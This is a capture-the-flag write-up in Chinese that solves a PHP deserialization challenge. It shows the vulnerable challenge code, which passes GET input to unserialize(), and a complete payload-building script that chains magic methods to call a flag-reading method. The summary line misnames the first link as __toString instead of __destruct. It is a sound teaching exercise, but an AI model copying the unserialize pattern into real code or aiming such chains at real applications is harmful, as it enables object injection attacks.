POP
题目代码:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
使用倒退法,先找到获取到 flag 的地方,然后反推 pop 链 , 获取 flag 的方法在 w44m 类的 Getflag 方法中,那么就需要调用 w44m 类的 Getflag 方法。
在类 w33m 中存在 $this->w00m->{$this->w22m}();
代码,那么我们可以使 变量 w00m
指向 w44m 类 , w22m 指向 Getflag 方法,这样就可以调用 w44m 类的 Getflag 方法了。然而这个语句在 __toString 魔术方法中,所以需要找在哪里可以调用 __toString 方法。
那么只有在 w22m 中存在一个 echo 的语句,那么就可以调用 __toString 方法了。
最后完整的链子就是 w22m::__toString() -> w33m::__toString() -> w44m::Getflag()
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$a -> w00m = new w33m();
$a -> w00m -> w00m = new w44m();
$a -> w00m -> w22m = "Getflag";
echo urlencode(serialize($a));
echo "<br>";
标签:__,w00m,Getflag,SWPUCTF,w22m,pop,echo,w44m
From: https://www.cnblogs.com/qianyuzz/p/18032727